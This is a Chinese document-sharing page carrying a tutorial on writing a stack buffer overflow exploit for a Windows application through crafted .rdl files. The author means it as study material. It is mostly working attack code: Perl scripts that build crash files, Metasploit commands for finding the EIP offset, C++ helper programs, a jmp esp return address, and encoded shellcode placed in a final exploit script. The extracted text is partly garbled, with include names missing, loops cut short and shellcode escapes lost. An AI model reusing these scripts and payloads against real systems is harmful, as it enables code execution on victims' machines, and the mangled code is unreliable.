收藏 分享(赏)

如何编写缓冲区溢出漏洞.doc

上传人:yjrm16270 文档编号:9558864 上传时间:2019-08-14 格式:DOC 页数:17 大小:767.50KB
下载 相关 举报
如何编写缓冲区溢出漏洞.doc_第1页
第1页 / 共17页
如何编写缓冲区溢出漏洞.doc_第2页
第2页 / 共17页
如何编写缓冲区溢出漏洞.doc_第3页
第3页 / 共17页
如何编写缓冲区溢出漏洞.doc_第4页
第4页 / 共17页
如何编写缓冲区溢出漏洞.doc_第5页
第5页 / 共17页
点击查看更多>>
资源描述

1、一、前言今天,我将会演示怎么样编写简单的缓冲区溢出漏洞,在这之前我们需要了解一些相关的知识,这样对于理解才能够比较深刻,这些资料也将会在参考文章一栏列出。主要是实践自己刚学过的一些知识,巩固一下。劫持 EIP 寄存器是最终的目的。二、基础知识什么是栈?对于学过编程语言的人来说,对于栈都不会感到陌生。栈是一个数据结构,其基本的特性是后进先出(LIFO ) 。在计算机中,栈一般用来保存局部变量,函数的调用和保存相应的信息。栈的主要操作有两种 PUSH 和 POP。参看下面的例子来进行理解。初始的栈$file“);print $FILE $junk;close($FILE);print “rdl f

2、ile created successfully“;EIP12我是在 E 盘存放 Perl 脚本执行后的文件的。上面的 perl 脚本会创建 crash.rdl的文件,里面的内容为 5000 个字符 A ,文件创建成功之后,我们直接双击它就可以看到程序崩溃了。如果有把 Windbg 或者 Ollydbg 设置为实时调试器的话,就会弹出下面的图。下面的图都是用原文章的,自己截的图并不好,请见谅。从上面的图我们可以看到 EIP 被 41414141(AAAA)重写了,从这里我们就可以看出 EIP 的值是能够被改写的,也就是说我们能够将 EIP 的地址改写为我们想要执行代码的入口去。但此时我们并不能

3、够确定 EIP 所在的具体位置,所以我们要想办法去定位 EIP 的地址。可以利用猜测法来进行定位,但这样盲目性太高,首先可以试试二分法来进行定位,这样比较高效,所以我们可以编写下面的脚本。my $file = “crash2.rdl“;my $junkA = “A“ x 4000;my $junkB = “B“ x 1000;open($FILE, “$file“);print $FILE $junkA.$junkB;close($FILE);print “rdl file created successfully“;保存文件名为 exploit2.rdl。或者我们可以把前面的脚本注释掉,注释

4、一大段的代码可以像下面这样操作,重点就是红色的地方了。=aaamy $file = “crash.rdl“;my $junk = “A“ x 5000;open($FILE, “$file“);print $FILE $junk;close($FILE);print “rdl file created successfully“;=cut具体执行的操作与上面相似,这里不再赘述。从上面的图我们可以看到此时 EIP 是被 42424242(BBBB)重写了。所以我们大概知道 EIP 的偏移位于 4000 到 5000 之间。我们再来看看对 esp 进行转储后的内容。后面还是跟着很多 B。使用命令

5、d esp 就可以查看当前栈中存放着的内容了。通过上面的两步操作我们大概可以了解到 EIP 的偏移位置了。但要做到精确定位,我们需要借助一些工具。下面讲的是借助于 Metasploit3 这个来进行操作的,但我自己也写了一些程序来实现。如果没有这个工具的话就暂时可以跳过这里。当然学会这个工具的使用还是必要的。具体步骤(1) 打开 Cygwin shell,在所有程序MetasploitCygwin Shell。(2) 将目录转到 msf3/tools 下。(3) 创建 500 个特殊构造的模式串使用 pattern_create.rb 这个脚本。$ cd /msf3/tools$ ./patt

6、ern_create.rb 500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3A

7、j4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq怎么样才能够做到精确定位呢(即找出 EIP 所在的偏移位置) 。这就需要构造一个特殊的字符串来进行定位。我们可以利用 Metasploit 来产生这样特殊构造的字符串

8、,当然我们也可以自己写个程序来产生。为此我自己写了一个简单的程序,可以看看下面。 (写的不好,只是完成了功能) 。#include #include #include using namespace std;void MakeString(int n)int count = 0;for (size_t i = 65; i != 91; +i)char temp1 = (char)(i);for (size_t j = 97; j != 123; +j)char temp2 = (char)(j);for (size_t k = 48; k != 58; +k)char temp3 = (cha

9、r)(k);if (count+ n)exit(1);int main()freopen(“out.txt“, “w“, stdout); 字符串保存到这个文件之下。int n;cin n;MakeString(n);return 0;程序输入一个数 n 就可以产生 n 个字符到out.txt 这个文件中。并且是 30 个字符为一行在练习的过程中,如果你用过 Perl 来编写相应的 exploit 的时候你就会明白当构造的字符串很多的时候,我们需要不断的将字符串用双引号和加个点,就像下面的这段代码。$shellcode .= “x31xc9xbfxd3xc0x5cx46xdbxc0xd9x74

10、x24xf4x5d“ . “xb1x50x83xedxfcx31x7dx0dx03x7dxdex22xa9xba“ . “x8ax49x1fxabxb3x71x5fxd4x23x05xccx0fx87x92“ .“x48x6cx4cxd8x57xf4x53xcexd3x4bx4bx9bxbbx73“ . “x6ax70x0axffx58x0dx8cx11x91xd1x16x41x55x11“ . “x5cx9dx94x58x90xa0xd4xb6x5fx99x8cx6cx88xab“ . “xc9xe6x97x77x10x12x41xf3x1exafx05x5cx02x2e“ . “xf1x6

11、0x16xbbx8cx0bx42xa7xefx10xbbx0cx8bx1d“ . “xf8x82xdfx62xf2x69xafx7exa7xe5x10x77xe9x91“ . “x1exc9x1bx8ex4fx29xf5x28x23xb3x91x87xf1x53“ . “x16x9bxc7xfcx8cxa4xf8x6bxe7xb6x05x50xa7xb7“ . “x20xf8xcexadxabx86x3dx25x36xdcxd7x34xc9x0e“ . “x4fxe0x3cx5ax22x45xc0x72x6fx39x6dx28xdcxfe“ . “xc2x8dxb1xffx35x77x5dx1

12、5x05x1excex9cx88x4a“ . “x98x3ax50x05x9fx14x9ax33x75x8bx35xe9x76x7b“ . “xddxb5x25x52xf7xe1xcax7dx54x5bxcbx52x33x86“ . “x7axd5x8dx1fx83x0fx5dxf4x2fxe5xa1x24x5cx6d“ . “xb9xbcxa4x17x12xc0xfexbdx63xeex98x57xf8x69“ . “x0cxcbx6dxffx29x61x3exa6x98xbax37xbfxb0x06“ . “xc1xa2x75x47x22x88x8bx05xe8x33x31xa6x61x4

13、6“ . “xcfx8ex2exf2x84x87x42xfbx69x41x5cx76xc9x91“ . “x74x22x86x3fx28x84x79xaaxcbx77x28x7fx9dx88“ . “x1ax17xb0xaex9fx26x99xafx49xdcxe1xafx42xde“ . “xcexdbxfbxdcx6cx1fx67xe2xa5xf2x98xccx22x03“ . “xecxe9xedxb0x0fx27xeexe7“;在上面用程序产生的特殊字符串之后,如果我们需要精确定位 EIP 位置时,可能用到的字符串更大,如果我们经常用手工来操作就显得太笨拙了,这些工作都是很无聊的,就是

14、重复性不断的,我们应该利用计算机来帮我们做。其实要学会不要重复做一些无谓的事情,把时间节省出来,充分发挥计算机的功能。下面再写了一个小程序,让计算机来帮我们做这件事。其实如果可以我们应该写一个插件也是行的。但是我的脚本编程能力不行,希望有能力的能够帮个忙。#include #include #include #include using namespace std;void AutoString()string str;while (getline(cin, str)cout $file“);print $FILE $junkA.$junkB;close($FILE);print “rdl F

15、ile Created successfullyn“;保存文件名为 exploit3.pl,跟上面的操作一样,perl exploit.pl 将会产生radio3.rdl 这个文件,双击之后,我们就可以看到下面这个图了。从图中我们可以看到 eip 此时为 0x41346f41,记住 Intel 是小端机,就是高字节存放在高地址低字节存放在低地址,所以原来的顺序应该是 416f3441(Ao4A),这里的图与我自己本机上的是一样的。我们可以利用 Metasploit tool 中的pattern_offset 来计算 EIP 在缓冲区的偏移量。打开 Cygwinshell 和运行pattern_

16、offset 这个 Ruby 脚本。看下面的操作Administratorpc /msf3/tools$ ./pattern_offset.rb 41346f41 500432这是在自己本机上 Linux 下执行的操作studyrushstudyrush-desktop:/opt/metasploit3/msf3/tools$ ./pattern_offset.rb 0x41346f41 500432自己写了个程序来定位,其实就是字符串的匹配操作。/*FileName: eipstring.cppAuthor: StudyRushCreateDate: 2011-3-4UpdateDate:

17、2011-3-5程序从 out.txt 文件中读入字符,但此时应该注意字符是没有分行的所以在 eipstring.cpp 中我们应该把if (count % 30 = 0)printf(“n“);这个注释掉。另外还需要把在精确定位的 eip 改为下面的eip 字符数组中。*/#include #include #include #include #include using namespace std;const int MAXN = 50000;char chMAXN;void Offset()freopen(“out.txt“, “r“, stdin);/freopen(“string.t

18、xt“, “w“, stdout);char temp;int k = 0;while (scanf(“%c“, char eip = “Ao4A“; /把 eip 地址替换掉size_t i = 0, j = 0;int len = strlen(ch);while (i $file“);print $FILE $junkA.$eip.$junkC;close($FILE);print “rdl File Created successfullyn“;参照上面的操作,产生 radio4.rdl 文件,双击文件之后就可以看到下面的图EIP 此时已经被 BBBB(42424242)重写了,也就验

19、证了我们上面计算出来的偏移量是正确的。此时 ESP 也被 C 字符串所重写。我们可以将 shellcode 放在 C 字符串的位置和利用 jmp esp 的地址去重写 EIP,以便让 EIP 指向 shellcode 的入口地址,以此执行 shellcode。但是我们此时并不知道第一个 C 开始的地址。所以我们还是创建一个脚本来确定起始地址。my $file = “radio5.rdl“;my $junkA = “A“ x 4432;my $eip = “BBBB“;my $junkC = “A1234567890123456789“.“B1234567890123456789“.“C1234

20、567890123456789“.“D1234567890123456789“.“E123456789F123456789G“;open($FILE, “$file“);print $FILE $junkA.$eip.$junkC;close($FILE);print “rdl File Created successfullyn“;创建文件并双击之后就看到这个图从图中我们可以看到 ESP 的起始地址是在 00313c4c 处,假设这并不是起始地址呢,此时我们应该在 shellcode 的前面放一些 NOP(0x90) 。利用 Metasploit 来产生 shellcode,一个弹出计算器的

21、 shellcode。# windows/exec 144 bytes# http:/# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calcmy $shellcode = “xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1“.“x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30“.“x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa“.“x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96“.“x60xf5x

22、71xcax06x35xf5x14xc7x7cxfbx1bx05x6b“.“xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a“.“xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83“.“x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98“.“xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61“.“xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05“.“x7fxe8x7bxca“;Shellcode 刚好从 ESP 起始地址为

23、入口地址,所以我们可以用 jmp esp 或者call esp 的地址去重写 EIP,让其指向 shellcode 的入口地址。我们可以从应用程序加载的 DLL 中区寻找像 jmp esp 和 call esp 这样的指令串的地址,但是这个应用程序并没有加载其它的 DLL,所以我们只能够从系统的 DLL 中找指令串的地址。比如想 ntdll.dll kernel32.dll,user32.dll 等这些 DLL 中去寻找指令串的地址。我们可以利用 findjmp 这个程序来查找指令串的地址。首先要进入到 findjmp 的目录下才能够使用 findjmp.exe。从上面的结果任选一个地址作为

24、EIP 的地址。在这里选择 0x7C93FCD8 这个地址。这里的地址因不同的系统会有所不一样,所以当你实践的时候应该以自己的系统的指令串地址为准。my $file = “radio6.rdl“;my $junkA = “A“ x 4432;my $eip = pack(V, 0x7C934663);my $shellcode = “xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1“ .“x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30“ .“x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02x

25、aa“ .“x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96“ .“x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b“ .“xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a“ .“xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83“ .“x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98“ .“xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61“ .“xb6x0ex2fx85x19x87

26、xb7x78x2fx59x90x7bxd7x05“ .“x7fxe8x7bxca“;open($FILE, “$file“);print $FILE $junkA.$eip.$shellcode;close($FILE);print “rdl File Created successfullyn“;双击产生的文件,结果如下。看到上面这个说明我们已经成功的利用了软件的漏洞,当然我们也可以采取不同的方法来劫持 EIP。也可以进一步的试试利用 SHE 技术来触发漏洞。四、学习总结其实说白了编写成功的 Exploit 就是能够成功的劫持 EIP 寄存器,动手写一写相应的小程序还是很有收获的。五、参考文献http:/www.exploit- Exploit 代码http:/

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 企业管理 > 管理学资料

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报